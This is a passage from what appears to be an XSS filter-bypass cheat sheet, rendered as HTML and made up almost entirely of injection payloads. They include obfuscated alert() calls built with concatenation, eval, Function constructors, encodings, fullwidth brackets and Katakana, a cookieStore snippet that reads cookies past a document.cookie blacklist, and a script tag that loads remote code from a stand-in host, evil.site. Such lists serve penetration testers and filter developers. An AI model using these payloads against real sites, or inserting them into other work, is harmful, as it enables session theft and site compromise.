<a id="__codelineno-54-2" name="__codelineno-54-2" href="#__codelineno-54-2"></a><span class="nb">window</span><span class="p">[</span><span class="s2">"doc"</span><span class="o">+</span><span class="s2">"ument"</span><span class="p">]</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-documentcookie-blacklist">Bypass document.cookie blacklist</h3>
|
||
<p>This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-55-1" name="__codelineno-55-1" href="#__codelineno-55-1"></a>window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-javascript-inside-a-string">Bypass using javascript inside a string</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-56-1" name="__codelineno-56-1" href="#__codelineno-56-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span>
|
||
<a id="__codelineno-56-2" name="__codelineno-56-2" href="#__codelineno-56-2"></a><span class="nx">foo</span><span class="o">=</span><span class="s2">"text </script><script>alert(1)</script>"</span><span class="p">;</span>
|
||
<a id="__codelineno-56-3" name="__codelineno-56-3" href="#__codelineno-56-3"></a><span class="o"><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-an-alternate-way-to-redirect">Bypass using an alternate way to redirect</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-57-1" name="__codelineno-57-1" href="#__codelineno-57-1"></a><span class="nx">location</span><span class="o">=</span><span class="s2">"http://google.com"</span>
|
||
<a id="__codelineno-57-2" name="__codelineno-57-2" href="#__codelineno-57-2"></a><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"http://google.com"</span>
|
||
<a id="__codelineno-57-3" name="__codelineno-57-3" href="#__codelineno-57-3"></a><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="s2">"http://google.com"</span>
|
||
<a id="__codelineno-57-4" name="__codelineno-57-4" href="#__codelineno-57-4"></a><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="s2">"http://google.com"</span><span class="p">)</span>
|
||
<a id="__codelineno-57-5" name="__codelineno-57-5" href="#__codelineno-57-5"></a><span class="nb">window</span><span class="p">[</span><span class="s1">'location'</span><span class="p">][</span><span class="s1">'href'</span><span class="p">]</span><span class="o">=</span><span class="s2">"http://google.com"</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-an-alternate-way-to-execute-an-alert">Bypass using an alternate way to execute an alert</h3>
|
||
<p>From <a href="https://twitter.com/brutelogic/status/965642032424407040">@brutelogic</a> tweet.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-58-1" name="__codelineno-58-1" href="#__codelineno-58-1"></a><span class="nb">window</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">0</span><span class="p">)</span>
|
||
<a id="__codelineno-58-2" name="__codelineno-58-2" href="#__codelineno-58-2"></a><span class="nx">parent</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-58-3" name="__codelineno-58-3" href="#__codelineno-58-3"></a><span class="nx">self</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">2</span><span class="p">)</span>
|
||
<a id="__codelineno-58-4" name="__codelineno-58-4" href="#__codelineno-58-4"></a><span class="nx">top</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">3</span><span class="p">)</span>
|
||
<a id="__codelineno-58-5" name="__codelineno-58-5" href="#__codelineno-58-5"></a><span class="k">this</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">4</span><span class="p">)</span>
|
||
<a id="__codelineno-58-6" name="__codelineno-58-6" href="#__codelineno-58-6"></a><span class="nx">frames</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">5</span><span class="p">)</span>
|
||
<a id="__codelineno-58-7" name="__codelineno-58-7" href="#__codelineno-58-7"></a><span class="nx">content</span><span class="p">[</span><span class="s1">'alert'</span><span class="p">](</span><span class="mf">6</span><span class="p">)</span>
|
||
<a id="__codelineno-58-8" name="__codelineno-58-8" href="#__codelineno-58-8"></a>
|
||
<a id="__codelineno-58-9" name="__codelineno-58-9" href="#__codelineno-58-9"></a><span class="p">[</span><span class="mf">7</span><span class="p">].</span><span class="nx">map</span><span class="p">(</span><span class="nx">alert</span><span class="p">)</span>
|
||
<a id="__codelineno-58-10" name="__codelineno-58-10" href="#__codelineno-58-10"></a><span class="p">[</span><span class="mf">8</span><span class="p">].</span><span class="nx">find</span><span class="p">(</span><span class="nx">alert</span><span class="p">)</span>
|
||
<a id="__codelineno-58-11" name="__codelineno-58-11" href="#__codelineno-58-11"></a><span class="p">[</span><span class="mf">9</span><span class="p">].</span><span class="nx">every</span><span class="p">(</span><span class="nx">alert</span><span class="p">)</span>
|
||
<a id="__codelineno-58-12" name="__codelineno-58-12" href="#__codelineno-58-12"></a><span class="p">[</span><span class="mf">10</span><span class="p">].</span><span class="nx">filter</span><span class="p">(</span><span class="nx">alert</span><span class="p">)</span>
|
||
<a id="__codelineno-58-13" name="__codelineno-58-13" href="#__codelineno-58-13"></a><span class="p">[</span><span class="mf">11</span><span class="p">].</span><span class="nx">findIndex</span><span class="p">(</span><span class="nx">alert</span><span class="p">)</span>
|
||
<a id="__codelineno-58-14" name="__codelineno-58-14" href="#__codelineno-58-14"></a><span class="p">[</span><span class="mf">12</span><span class="p">].</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">alert</span><span class="p">);</span>
|
||
</code></pre></div>
|
||
<p>From <a href="https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/">@theMiddle</a> - Using global variables</p>
|
||
<p>The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its <strong>index number instead the function name</strong>.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-59-1" name="__codelineno-59-1" href="#__codelineno-59-1"></a><span class="nx">c</span><span class="o">=</span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"alert"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">);</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="nx">c</span><span class="o">++</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
|
||
<a id="__codelineno-59-2" name="__codelineno-59-2" href="#__codelineno-59-2"></a><span class="c1">// 5</span>
|
||
</code></pre></div>
|
||
<p>Then calling alert is :</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-60-1" name="__codelineno-60-1" href="#__codelineno-60-1"></a><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">self</span><span class="p">)[</span><span class="mf">5</span><span class="p">]</span>
|
||
<a id="__codelineno-60-2" name="__codelineno-60-2" href="#__codelineno-60-2"></a><span class="c1">// "alert"</span>
|
||
<a id="__codelineno-60-3" name="__codelineno-60-3" href="#__codelineno-60-3"></a><span class="nx">self</span><span class="p">[</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">self</span><span class="p">)[</span><span class="mf">5</span><span class="p">]](</span><span class="s2">"1"</span><span class="p">)</span><span class="w"> </span><span class="c1">// alert("1")</span>
|
||
</code></pre></div>
|
||
<p>We can find "alert" with a regular expression like ^a[rel]+t$ :</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-61-1" name="__codelineno-61-1" href="#__codelineno-61-1"></a><span class="nx">a</span><span class="o">=</span><span class="p">()=>{</span><span class="nx">c</span><span class="o">=</span><span class="mf">0</span><span class="p">;</span><span class="k">for</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">self</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="sr">/^a[rel]+t$/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">i</span><span class="p">)){</span><span class="k">return</span><span class="w"> </span><span class="nx">c</span><span class="p">}</span><span class="nx">c</span><span class="o">++</span><span class="p">}}</span><span class="w"> </span><span class="c1">//bind function alert on new function a()</span>
|
||
<a id="__codelineno-61-2" name="__codelineno-61-2" href="#__codelineno-61-2"></a>
|
||
<a id="__codelineno-61-3" name="__codelineno-61-3" href="#__codelineno-61-3"></a><span class="c1">// then you can use a() with Object.keys</span>
|
||
<a id="__codelineno-61-4" name="__codelineno-61-4" href="#__codelineno-61-4"></a>
|
||
<a id="__codelineno-61-5" name="__codelineno-61-5" href="#__codelineno-61-5"></a><span class="nx">self</span><span class="p">[</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">self</span><span class="p">)[</span><span class="nx">a</span><span class="p">()]](</span><span class="s2">"1"</span><span class="p">)</span><span class="w"> </span><span class="c1">// alert("1")</span>
|
||
</code></pre></div>
|
||
<p>Oneliner:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-62-1" name="__codelineno-62-1" href="#__codelineno-62-1"></a><span class="nx">a</span><span class="o">=</span><span class="p">()=>{</span><span class="nx">c</span><span class="o">=</span><span class="mf">0</span><span class="p">;</span><span class="k">for</span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">self</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="sr">/^a[rel]+t$/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">i</span><span class="p">)){</span><span class="k">return</span><span class="w"> </span><span class="nx">c</span><span class="p">}</span><span class="nx">c</span><span class="o">++</span><span class="p">}};</span><span class="nx">self</span><span class="p">[</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">self</span><span class="p">)[</span><span class="nx">a</span><span class="p">()]](</span><span class="s2">"1"</span><span class="p">)</span>
|
||
</code></pre></div></p>
|
||
<p>From <a href="https://twitter.com/quanyang/status/1078536601184030721">@quanyang</a> tweet.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-63-1" name="__codelineno-63-1" href="#__codelineno-63-1"></a><span class="nx">prompt</span><span class="sb">`</span><span class="si">${</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="si">}</span><span class="sb">`</span>
|
||
<a id="__codelineno-63-2" name="__codelineno-63-2" href="#__codelineno-63-2"></a><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'java\tscript:alert(1)'</span>
|
||
<a id="__codelineno-63-3" name="__codelineno-63-3" href="#__codelineno-63-3"></a><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'java\rscript:alert(1)'</span>
|
||
<a id="__codelineno-63-4" name="__codelineno-63-4" href="#__codelineno-63-4"></a><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="s1">'java\tscript:alert(1)'</span>
|
||
</code></pre></div>
|
||
<p>From <a href="https://twitter.com/404death/status/1011860096685502464">@404death</a> tweet.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-64-1" name="__codelineno-64-1" href="#__codelineno-64-1"></a><span class="nb">eval</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(0)'</span><span class="p">);</span>
|
||
<a id="__codelineno-64-2" name="__codelineno-64-2" href="#__codelineno-64-2"></a><span class="nb">Function</span><span class="p">(</span><span class="s2">"ale"</span><span class="o">+</span><span class="s2">"rt(1)"</span><span class="p">)();</span>
|
||
<a id="__codelineno-64-3" name="__codelineno-64-3" href="#__codelineno-64-3"></a><span class="ow">new</span><span class="w"> </span><span class="nb">Function</span><span class="sb">`al\ert\`6\``</span><span class="p">;</span>
|
||
<a id="__codelineno-64-4" name="__codelineno-64-4" href="#__codelineno-64-4"></a>
|
||
<a id="__codelineno-64-5" name="__codelineno-64-5" href="#__codelineno-64-5"></a><span class="kr">constructor</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s2">"aler"</span><span class="o">+</span><span class="s2">"t(3)"</span><span class="p">)();</span>
|
||
<a id="__codelineno-64-6" name="__codelineno-64-6" href="#__codelineno-64-6"></a><span class="p">[].</span><span class="nx">filter</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(4)'</span><span class="p">)();</span>
|
||
<a id="__codelineno-64-7" name="__codelineno-64-7" href="#__codelineno-64-7"></a>
|
||
<a id="__codelineno-64-8" name="__codelineno-64-8" href="#__codelineno-64-8"></a><span class="nx">top</span><span class="p">[</span><span class="s2">"al"</span><span class="o">+</span><span class="s2">"ert"</span><span class="p">](</span><span class="mf">5</span><span class="p">);</span>
|
||
<a id="__codelineno-64-9" name="__codelineno-64-9" href="#__codelineno-64-9"></a><span class="nx">top</span><span class="p">[</span><span class="mf">8680439.</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mf">30</span><span class="p">)](</span><span class="mf">7</span><span class="p">);</span>
|
||
<a id="__codelineno-64-10" name="__codelineno-64-10" href="#__codelineno-64-10"></a><span class="nx">top</span><span class="p">[</span><span class="sr">/al/</span><span class="p">.</span><span class="nx">source</span><span class="o">+</span><span class="sr">/ert/</span><span class="p">.</span><span class="nx">source</span><span class="p">](</span><span class="mf">8</span><span class="p">);</span>
|
||
<a id="__codelineno-64-11" name="__codelineno-64-11" href="#__codelineno-64-11"></a><span class="nx">top</span><span class="p">[</span><span class="s1">'al\x65rt'</span><span class="p">](</span><span class="mf">9</span><span class="p">);</span>
|
||
<a id="__codelineno-64-12" name="__codelineno-64-12" href="#__codelineno-64-12"></a>
|
||
<a id="__codelineno-64-13" name="__codelineno-64-13" href="#__codelineno-64-13"></a><span class="nx">open</span><span class="p">(</span><span class="s1">'java'</span><span class="o">+</span><span class="s1">'script:ale'</span><span class="o">+</span><span class="s1">'rt(11)'</span><span class="p">);</span>
|
||
<a id="__codelineno-64-14" name="__codelineno-64-14" href="#__codelineno-64-14"></a><span class="nx">location</span><span class="o">=</span><span class="s1">'javascript:ale'</span><span class="o">+</span><span class="s1">'rt(12)'</span><span class="p">;</span>
|
||
<a id="__codelineno-64-15" name="__codelineno-64-15" href="#__codelineno-64-15"></a>
|
||
<a id="__codelineno-64-16" name="__codelineno-64-16" href="#__codelineno-64-16"></a><span class="nx">setTimeout</span><span class="sb">`alert\u0028document.domain\u0029`</span><span class="p">;</span>
|
||
<a id="__codelineno-64-17" name="__codelineno-64-17" href="#__codelineno-64-17"></a><span class="nx">setTimeout</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(2)'</span><span class="p">);</span>
|
||
<a id="__codelineno-64-18" name="__codelineno-64-18" href="#__codelineno-64-18"></a><span class="nx">setInterval</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(10)'</span><span class="p">);</span>
|
||
<a id="__codelineno-64-19" name="__codelineno-64-19" href="#__codelineno-64-19"></a><span class="nb">Set</span><span class="p">.</span><span class="kr">constructor</span><span class="p">(</span><span class="s1">'ale'</span><span class="o">+</span><span class="s1">'rt(13)'</span><span class="p">)();</span>
|
||
<a id="__codelineno-64-20" name="__codelineno-64-20" href="#__codelineno-64-20"></a><span class="nb">Set</span><span class="p">.</span><span class="kr">constructor</span><span class="sb">`al\x65rt\x2814\x29```</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<p>Bypass using an alternate way to trigger an alert</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-65-1" name="__codelineno-65-1" href="#__codelineno-65-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"iframe"</span><span class="p">);</span>
|
||
<a id="__codelineno-65-2" name="__codelineno-65-2" href="#__codelineno-65-2"></a><span class="nx">i</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">(){</span>
|
||
<a id="__codelineno-65-3" name="__codelineno-65-3" href="#__codelineno-65-3"></a><span class="w"> </span><span class="nx">i</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">);</span>
|
||
<a id="__codelineno-65-4" name="__codelineno-65-4" href="#__codelineno-65-4"></a><span class="p">}</span>
|
||
<a id="__codelineno-65-5" name="__codelineno-65-5" href="#__codelineno-65-5"></a><span class="nb">document</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
|
||
<a id="__codelineno-65-6" name="__codelineno-65-6" href="#__codelineno-65-6"></a>
|
||
<a id="__codelineno-65-7" name="__codelineno-65-7" href="#__codelineno-65-7"></a><span class="c1">// Bypassed security</span>
|
||
<a id="__codelineno-65-8" name="__codelineno-65-8" href="#__codelineno-65-8"></a><span class="nx">XSSObject</span><span class="p">.</span><span class="nx">proxy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span><span class="w"> </span><span class="nx">name</span><span class="p">,</span><span class="w"> </span><span class="nx">report_function_name</span><span class="p">,</span><span class="w"> </span><span class="nx">exec_original</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-65-9" name="__codelineno-65-9" href="#__codelineno-65-9"></a><span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">proxy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">obj</span><span class="p">[</span><span class="nx">name</span><span class="p">];</span>
|
||
<a id="__codelineno-65-10" name="__codelineno-65-10" href="#__codelineno-65-10"></a><span class="w"> </span><span class="nx">obj</span><span class="p">[</span><span class="nx">name</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-65-11" name="__codelineno-65-11" href="#__codelineno-65-11"></a><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">exec_original</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-65-12" name="__codelineno-65-12" href="#__codelineno-65-12"></a><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">proxy</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="w"> </span><span class="nx">arguments</span><span class="p">);</span>
|
||
<a id="__codelineno-65-13" name="__codelineno-65-13" href="#__codelineno-65-13"></a><span class="w"> </span><span class="p">}</span>
|
||
<a id="__codelineno-65-14" name="__codelineno-65-14" href="#__codelineno-65-14"></a><span class="w"> </span><span class="p">};</span>
|
||
<a id="__codelineno-65-15" name="__codelineno-65-15" href="#__codelineno-65-15"></a><span class="w"> </span><span class="nx">XSSObject</span><span class="p">.</span><span class="nx">lockdown</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span><span class="w"> </span><span class="nx">name</span><span class="p">);</span>
|
||
<a id="__codelineno-65-16" name="__codelineno-65-16" href="#__codelineno-65-16"></a><span class="w"> </span><span class="p">};</span>
|
||
<a id="__codelineno-65-17" name="__codelineno-65-17" href="#__codelineno-65-17"></a><span class="nx">XSSObject</span><span class="p">.</span><span class="nx">proxy</span><span class="p">(</span><span class="nb">window</span><span class="p">,</span><span class="w"> </span><span class="s1">'alert'</span><span class="p">,</span><span class="w"> </span><span class="s1">'window.alert'</span><span class="p">,</span><span class="w"> </span><span class="kc">false</span><span class="p">);</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-nothing">Bypass ">" using nothing</h3>
|
||
<p>You don't need to close your tags.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-66-1" name="__codelineno-66-1" href="#__codelineno-66-1"></a><span class="o"><</span><span class="nx">svg</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="c1">//</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-and-using-and">Bypass "<" and ">" using < and ></h3>
|
||
<p>Unicode Character U+FF1C and U+FF1E</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-67-1" name="__codelineno-67-1" href="#__codelineno-67-1"></a><span class="err"><</span><span class="nx">script</span><span class="o">/</span><span class="nx">src</span><span class="o">=</span><span class="c1">//evil.site/poc.js></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-another-character">Bypass ";" using another character</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-68-1" name="__codelineno-68-1" href="#__codelineno-68-1"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'*'</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-2" name="__codelineno-68-2" href="#__codelineno-68-2"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-3" name="__codelineno-68-3" href="#__codelineno-68-3"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'%'</span><span class="p">)</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-4" name="__codelineno-68-4" href="#__codelineno-68-4"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'-'</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-5" name="__codelineno-68-5" href="#__codelineno-68-5"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'+'</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-6" name="__codelineno-68-6" href="#__codelineno-68-6"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'^'</span><span class="p">)</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-7" name="__codelineno-68-7" href="#__codelineno-68-7"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'>'</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-8" name="__codelineno-68-8" href="#__codelineno-68-8"></a><span class="s1">'te'</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'<'</span><span class="p">)</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-9" name="__codelineno-68-9" href="#__codelineno-68-9"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'=='</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-10" name="__codelineno-68-10" href="#__codelineno-68-10"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'&'</span><span class="p">)</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-11" name="__codelineno-68-11" href="#__codelineno-68-11"></a><span class="s1">'te'</span><span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">','</span><span class="p">)</span><span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-12" name="__codelineno-68-12" href="#__codelineno-68-12"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'|'</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-13" name="__codelineno-68-13" href="#__codelineno-68-13"></a><span class="s1">'te'</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'ifelsesh'</span><span class="p">)</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-14" name="__codelineno-68-14" href="#__codelineno-68-14"></a><span class="s1">'te'</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'in'</span><span class="p">)</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
<a id="__codelineno-68-15" name="__codelineno-68-15" href="#__codelineno-68-15"></a><span class="s1">'te'</span><span class="w"> </span><span class="ow">instanceof</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s1">'instanceof'</span><span class="p">)</span><span class="w"> </span><span class="ow">instanceof</span><span class="w"> </span><span class="s1">'xt'</span><span class="p">;</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-html-encoding">Bypass using HTML encoding</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-69-1" name="__codelineno-69-1" href="#__codelineno-69-1"></a><span class="o">%</span><span class="mf">26</span><span class="o">%</span><span class="mf">2397</span><span class="p">;</span><span class="nx">lert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-69-2" name="__codelineno-69-2" href="#__codelineno-69-2"></a><span class="o">&</span><span class="err">#</span><span class="mf">97</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="mf">108</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="mf">101</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="mf">114</span><span class="p">;</span><span class="o">&</span><span class="err">#</span><span class="mf">116</span><span class="p">;</span>
|
||
<a id="__codelineno-69-3" name="__codelineno-69-3" href="#__codelineno-69-3"></a><span class="o">><</span><span class="err">/script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-katakana">Bypass using Katakana</h3>
|
||
<p>Using the <a href="https://github.com/aemkei/katakana.js">Katakana</a> library.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-70-1" name="__codelineno-70-1" href="#__codelineno-70-1"></a><span class="nx">javascript</span><span class="o">:</span><span class="p">([,</span><span class="nx">ウ</span><span class="p">,,,,</span><span class="nx">ア</span><span class="p">]</span><span class="o">=</span><span class="p">[]</span><span class="o">+</span><span class="p">{},[</span><span class="nx">ネ</span><span class="p">,</span><span class="nx">ホ</span><span class="p">,</span><span class="nx">ヌ</span><span class="p">,</span><span class="nx">セ</span><span class="p">,,</span><span class="nx">ミ</span><span class="p">,</span><span class="nx">ハ</span><span class="p">,</span><span class="nx">ヘ</span><span class="p">,,,</span><span class="nx">ナ</span><span class="p">]</span><span class="o">=</span><span class="p">[</span><span class="o">!!</span><span class="nx">ウ</span><span class="p">]</span><span class="o">+!</span><span class="nx">ウ</span><span class="o">+</span><span class="nx">ウ</span><span class="p">.</span><span class="nx">ウ</span><span class="p">)[</span><span class="nx">ツ</span><span class="o">=</span><span class="nx">ア</span><span class="o">+</span><span class="nx">ウ</span><span class="o">+</span><span class="nx">ナ</span><span class="o">+</span><span class="nx">ヘ</span><span class="o">+</span><span class="nx">ネ</span><span class="o">+</span><span class="nx">ホ</span><span class="o">+</span><span class="nx">ヌ</span><span class="o">+</span><span class="nx">ア</span><span class="o">+</span><span class="nx">ネ</span><span class="o">+</span><span class="nx">ウ</span><span class="o">+</span><span class="nx">ホ</span><span class="p">][</span><span class="nx">ツ</span><span class="p">](</span><span class="nx">ミ</span><span class="o">+</span><span class="nx">ハ</span><span class="o">+</span><span class="nx">セ</span><span class="o">+</span><span class="nx">ホ</span><span class="o">+</span><span class="nx">ネ</span><span class="o">+</span><span class="s1">'(-~ウ)'</span><span class="p">)()</span>
|
||
